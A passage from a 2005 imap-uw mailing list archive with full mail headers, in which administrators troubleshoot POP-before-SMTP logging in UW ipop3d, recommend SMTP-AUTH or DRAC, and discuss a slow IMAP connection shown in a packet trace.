(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 8 Sep 2005 11:01:11 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88I19u8024224 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 8 Sep 2005 11:01:10 -0700 Date: Thu, 8 Sep 2005 11:01:09 -0700 (PDT) From: Mark Crispin To: Mariano Wahlmann Subject: Re: [Imap-uw] Problem with pop before smtp In-Reply-To: <43206B89.8030804@agro.uba.ar> Message-ID: References: <43206B89.8030804@agro.uba.ar> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 8 Sep 2005, Mariano Wahlmann wrote: > I had a pop before smtp watching at maillog to catch authenticated users. but > when a client uses SASL this records do not appear, and the Logout record > says Logout user=???, how can i get one record for each authenticated user? If you see "Logout user=???" that means that the POP client never logged in. A SASL authentication will show "Auth user" instead of "Login user". -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 8 11:26:07 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Sep 2005 11:26:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88IQ67F021213 for ; Thu, 8 Sep 2005 11:26:06 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88IQ5G3023992 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 8 Sep 2005 11:26:05 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88IPnTG004057; Thu, 8 Sep 2005 11:25:49 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88IPlmk004025 for ; Thu, 8 Sep 2005 11:25:47 -0700 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88IPiDV007615 for ; Thu, 8 Sep 2005 11:25:45 -0700 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.13.3/8.12.9) with ESMTP id j88IPaRq026204; (envelope-from ) Thu, 8 Sep 2005 13:25:39 -0500 (CDT) Received: from d-is00.icaen.uiowa.edu ([128.255.17.30]) by server11.icaen.uiowa.edu (8.13.2/smtp-serv-1.7) with ESMTP id j88IEAxA000677 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256); (envelope-from ) Thu, 8 Sep 2005 13:14:10 -0500 (CDT) Date: Thu, 8 Sep 2005 13:14:10 -0500 (CDT) From: David B Funk To: Mariano Wahlmann Subject: Re: [Imap-uw] Problem with pop before smtp In-Reply-To: <43206B89.8030804@agro.uba.ar> Message-ID: References: <43206B89.8030804@agro.uba.ar> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: ClamAV version 0.83, clamav-milter version 0.83 on clamav.icaen.uiowa.edu X-Virus-Scanned: ClamAV version 0.83, clamav-milter version 0.83 on clamav.icaen.uiowa.edu X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 8 Sep 2005, Mariano Wahlmann wrote: > I had a pop before smtp watching at maillog to catch authenticated > users. but when a client uses SASL this records do not appear, and the > Logout record says Logout user=???, how can i get one record for each > authenticated user? > > Thanks, two different suggestions: 1) Switch to SMTP-AUTH for sending. It's more work to support (teaching your users how to configure their clients, etc) but more secure and reliable in the long run. 2) If you must use "pop before smtp" use DRAC rather than maillog watchers (see: http://mail.cc.umanitoba.ca/drac/index.html ). We used DRAC for several years before switching to SMTP-AUTH. Particularly if you need to support IMAP clients, DRAC is far superior to maillog watchers, altho it is a bit of work to integrate into your pop3d & imapd daemons. Dave -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 8 12:12:22 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Sep 2005 12:12:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JCMqu023800 for ; Thu, 8 Sep 2005 12:12:22 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JCLLu026639 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 8 Sep 2005 12:12:21 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JC0qZ020213; Thu, 8 Sep 2005 12:12:00 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88Ixb9w018915 for ; Thu, 8 Sep 2005 11:59:37 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88IxbOn017800 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 8 Sep 2005 11:59:37 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88Ixa7g003193 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 8 Sep 2005 11:59:36 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88IxYqf013104 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 8 Sep 2005 11:59:35 -0700 Date: Thu, 8 Sep 2005 11:59:34 -0700 (PDT) From: Mark Crispin To: David B Funk Subject: Re: [Imap-uw] Problem with pop before smtp In-Reply-To: Message-ID: References: <43206B89.8030804@agro.uba.ar> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 8 Sep 2005, David B Funk wrote: > two different suggestions: > 1) Switch to SMTP-AUTH for sending. > 2) If you must use "pop before smtp" use DRAC rather than maillog > watchers For what it's worth, I agree with both suggestions, especially the first suggestion. I have never supported "POP before SMTP" in my distributions, but I do support SMTP-AUTH. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 8 12:25:30 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Sep 2005 12:25:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JPUkc024433 for ; Thu, 8 Sep 2005 12:25:30 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JPRcH024756 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 8 Sep 2005 12:25:27 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JPMpP023660; Thu, 8 Sep 2005 12:25:22 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88J7bcJ019659 for ; Thu, 8 Sep 2005 12:07:37 -0700 Received: from agro.uba.ar (pulse.ifeva.edu.ar [168.96.156.35]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88J7YRi022803 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Sep 2005 12:07:36 -0700 Received: from [168.96.156.99] (petrus.agro.uba.ar [168.96.156.99]) by agro.uba.ar (8.12.8/8.12.8) with ESMTP id j88J7YPR026841 for ; Thu, 8 Sep 2005 16:07:35 -0300 Message-ID: <43208BFA.4020507@agro.uba.ar> Date: Thu, 08 Sep 2005 16:07:38 -0300 From: Mariano Wahlmann User-Agent: Debian Thunderbird 1.0.2 (X11/20050602) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] Problem with pop before smtp References: <43206B89.8030804@agro.uba.ar> <432080AF.9020509@agro.uba.ar> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='IP_HTTP_ADDR 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Look at the tcp dump; +OK POP3 pop3.agro.uba.ar v2001.78rh server ready CAPA +OK Capability list follows: TOP LOGIN-DELAY 180 UIDL STLS USER SASL LOGIN . AUTH LOGIN + VXNlciBOYW1lAA== NO WAY + UGFzc3dvcmQA NO WAY AGAIN +OK Mailbox open, 0 messages STAT +OK 0 0 QUIT +OK Sayonara and maillog for the session: Sep 8 16:04:53 eclipse ipop3d[25587]: pop3 service init from 168.96.156.99 Sep 8 16:04:53 eclipse ipop3d[25587]: Logout user=??? host=petrus.agro.uba.ar [168.96.156. 99] P.D: I'd changed the user and pass in the tcp dump. Is this maybe because and old version? Mark Crispin wrote: > On Thu, 8 Sep 2005, Mariano Wahlmann wrote: > >> this are the logs for a SUCCESSFULL pop3 session. >> Sep 4 22:06:38 eclipse ipop3d[4187]: pop3 service init from >> 168.96.156.99 >> Sep 4 22:06:38 eclipse ipop3d[4187]: Logout user=??? >> host=petrus.agro.uba.ar [168.96.156.99] > > > That is not a successful POP3 session. That is a session that > connected and immediately disconnected. > > -- Mark -- > > http://panda.com/mrc > Democracy is two wolves and a sheep deciding what to eat for lunch. > Liberty is a well-armed sheep contesting the vote. > -- ________________________________________________________ Mariano Agustín Wahlmann Administrador de Red Facultad de Agronomía - Buenos Aires - Argentina Te.: (+54 11) 4524-8000 int.8108 email: mailto:wahlmann@agro.uba.ar www: http://www.agro.uba.ar _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 8 12:31:37 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Sep 2005 12:31:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JVbIW024745 for ; Thu, 8 Sep 2005 12:31:37 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JVaZD027704 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 8 Sep 2005 12:31:36 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JVKv7024509; Thu, 8 Sep 2005 12:31:20 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JCSh7020304 for ; Thu, 8 Sep 2005 12:12:28 -0700 Received: from agro.uba.ar (pulse.agro.uba.ar [168.96.156.35]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JCQBJ020865 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Sep 2005 12:12:28 -0700 Received: from [168.96.156.99] (petrus.agro.uba.ar [168.96.156.99]) by agro.uba.ar (8.12.8/8.12.8) with ESMTP id j88JCLPR028197; Thu, 8 Sep 2005 16:12:22 -0300 Message-ID: <43208D18.6080101@agro.uba.ar> Date: Thu, 08 Sep 2005 16:12:24 -0300 From: Mariano Wahlmann User-Agent: Debian Thunderbird 1.0.2 (X11/20050602) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin , imap-uw@u.washington.edu Subject: Re: [Imap-uw] Problem with pop before smtp References: <43206B89.8030804@agro.uba.ar> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I'm used this log not only for popB4smtp, i also use this log to know when was the last time that user check his account, in order to disable accounts that are not being checked. Mark Crispin wrote: > On Thu, 8 Sep 2005, David B Funk wrote: > >> two different suggestions: >> 1) Switch to SMTP-AUTH for sending. >> 2) If you must use "pop before smtp" use DRAC rather than maillog >> watchers > > > For what it's worth, I agree with both suggestions, especially the > first suggestion. I have never supported "POP before SMTP" in my > distributions, but I do support SMTP-AUTH. > > -- Mark -- > > http://panda.com/mrc > Democracy is two wolves and a sheep deciding what to eat for lunch. > Liberty is a well-armed sheep contesting the vote. > -- ________________________________________________________ Mariano Agustín Wahlmann Administrador de Red Facultad de Agronomía - Buenos Aires - Argentina Te.: (+54 11) 4524-8000 int.8108 email: mailto:wahlmann@agro.uba.ar www: http://www.agro.uba.ar _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 8 12:40:05 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Sep 2005 12:40:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88Je59U025082 for ; Thu, 8 Sep 2005 12:40:05 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88Je4px028176 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 8 Sep 2005 12:40:04 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JdxQZ026821; Thu, 8 Sep 2005 12:39:59 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JdvQf026805 for ; Thu, 8 Sep 2005 12:39:57 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88Jdvq3017480 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 8 Sep 2005 12:39:57 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JduRS017491 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 8 Sep 2005 12:39:56 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88JdsmU022091 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 8 Sep 2005 12:39:55 -0700 Date: Thu, 8 Sep 2005 12:39:54 -0700 (PDT) From: Mark Crispin To: Mariano Wahlmann Subject: Re: [Imap-uw] Problem with pop before smtp In-Reply-To: <43208BFA.4020507@agro.uba.ar> Message-ID: References: <43206B89.8030804@agro.uba.ar> <432080AF.9020509@agro.uba.ar> <43208BFA.4020507@agro.uba.ar> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu If that is actually happening then you have a broken server. It seems to have been modified by RedHat. I looked at the distribution imap-2001a ipop3d (not the RH hacked version) and it can not behave in that way. In the distribution sources, "Logout user=???" only happens if user is null, and "Mailbox open" only happens if user is non-null. Try unmodified sources from UW (not to mention being far more up to date): ftp://ftp.cac.washington.edu/mail/imap.tar.Z -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sat Sep 10 16:32:21 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 10 Sep 2005 16:32:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ANWLTe002107 for ; Sat, 10 Sep 2005 16:32:21 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ANWKYY007555 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 10 Sep 2005 16:32:21 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ANW7Vx009365 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 10 Sep 2005 16:32:08 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ANW7Xp018886; Sat, 10 Sep 2005 16:32:07 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ANW6ko018878 for ; Sat, 10 Sep 2005 16:32:06 -0700 Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ANW5G2011154 for ; Sat, 10 Sep 2005 16:32:06 -0700 Received: by wproxy.gmail.com with SMTP id 68so1880832wra for ; Sat, 10 Sep 2005 16:32:05 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:from:to:cc:references:subject:date:mime-version:content-type:content-transfer-encoding:x-priority:x-msmail-priority:x-mailer:x-mimeole; b=czrQvzwsb5BXH2GBjklzETQTDiR5qn0jIEKQCP/A2E3Oj+tkE7GD920XCu66KoQWOSRlrgApQrH8S24YAtNihPc/JMbqp/CwZ2ykrKQXCO1ZaiSAfiEBL1wtH8qeYcoQFkN4duBucEJ2QaigFzb4glqo2w83CAVnKli4lafA/fk= Received: by 10.54.56.33 with SMTP id e33mr1498514wra; Sat, 10 Sep 2005 16:32:05 -0700 (PDT) Received: from galeti ( [201.12.141.8]) by mx.gmail.com with ESMTP id 13sm973322wrl.2005.09.10.16.32.04; Sat, 10 Sep 2005 16:32:05 -0700 (PDT) Message-ID: <000801c5b65f$daed4ba0$088d0cc9@galeti> From: "Marcelo Coelho Galeti - GMail" To: "Mark Crispin" References: <005401c5b149$36ac07e0$fc9e1fc9@bigfirm.local> <001301c5b1a7$bbd943c0$0cc51fc9@galeti> Subject: Re: [Imap-uw] imap2000 directly to imap2004 Date: Sat, 10 Sep 2005 20:32:03 -0300 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2527 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello Mark, Thank you very much ! I compiled the code and this weekend I will do some tests. Can I use your knowledge more one time ? My imap have a strange behavior and I dont know if this is because the old IMAP2000 version: After the client click in some folder, or send or receive, the client spent 10, 12 seconds to start the process .. if I look with ethereal I can see this: -Click send/receive - In the same second I saw a connection in the mail server TCP 2813 > imap2 [SYN] Seq=2267293776 Ack=0 Win=16384 Len=0 MSS=1280 62 imap2 TCP imap2 > 2813 [SYN, ACK] Seq=3517919463 Ack=2267293777 Win=5840 Len=0 MSS=1460 62 2813 TCP 2813 > imap2 [ACK] Seq=2267293777 Ack=3517919464 Win=16640 Len=0 60 imap2 stop 10, 12 seconds and, only after this, the imap go ahead TCP 52352 > smtp [SYN] Seq=3393363720 Ack=0 Win=5840 Len=0 MSS=1400 TSV=204104988 TSER=0 WS=0 74 smtp TCP smtp > 52352 [SYN, ACK] Seq=3556837017 Ack=3393363721 Win=5792 Len=0 MSS=1460 TSV=19616215 TSER=204104988 WS=0 74 52352 TCP 52352 > smtp [ACK] Seq=3393363721 Ack=3556837018 Win=5840 Len=0 TSV=204105014 TSER=19616215 66 smtp SMTP Command: HELO test.de 85 smtp TCP smtp > 52352 [ACK] Seq=3556837018 Ack=3393363740 Win=5792 Len=0 TSV=19616241 TSER=204105014 66 52352 SMTP Response: 220 mail.huf.com.br ESMTP Sendmail 8.11.6p2/8.11.6; Sat, 10 Sep 2005 20:26:50 -0300 151 52352 SMTP Response: 250 mail.huf.com.br Hello [192.168.1.6], pleased to meet you 174 52352 TCP 52352 > smtp [ACK] Seq=3393363740 Ack=3556837103 Win=5840 Len=0 TSV=204105040 TSER=19616241 66 smtp TCP 52352 > smtp [FIN, ACK] Seq=3393363740 Ack=3556837212 Win=5840 Len=0 TSV=204105041 TSER=19616241 66 smtp TCP smtp > 52352 [ACK] Seq=3556837212 Ack=3393363741 Win=5792 Len=0 TSV=19616268 TSER=204105041 66 52352 IMAP Response: * OK [CAPABILITY IMAP4 IMAP4REV1 STARTTLS LOGIN-REFERRALS AUTH=LOGIN] mail2.huf.com.br IMAP4rev1 2000.287cl at Sat, 10 Sep 2005 20:26:51 -0300 (BRT) 204 2813 TCP 2813 > imap2 [ACK] Seq=2267293777 Ack=3517919614 Win=16490 Len=0 60 imap2 Is this some knowed problem ? Best Regards and nice weekend Marcelo Galeti ----- Original Message ----- From: "Mark Crispin" To: "Marcelo Coelho Galeti - GMail" Cc: Sent: Sunday, September 04, 2005 11:28 PM Subject: Re: [Imap-uw] imap2000 directly to imap2004 > On Sun, 4 Sep 2005, Marcelo Coelho Galeti - GMail wrote: >> If I >> -find the imapd file, >> -do a backup of this file, >> -compile the new one >> -ONLY REPLACE the old imapd with the new imapd >> -restart inetd service >> >> the imap2004 service will work properly ? and if necessary, I can use the >> imapd backuped file >> to restore to an old enviroment ? > > Yes and yes. > > It is not necessary to restart inetd. > >> I mean .. the imapd file is the only thing I need to backup ? Not >> libraries, .conf files, other ? > > Correct, if you use a build from unmodified UW sources. I can't speak > about modified sources. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Sep 12 04:04:45 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 12 Sep 2005 04:04:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB4jER029450 for ; Mon, 12 Sep 2005 04:04:45 -0700 Received: from 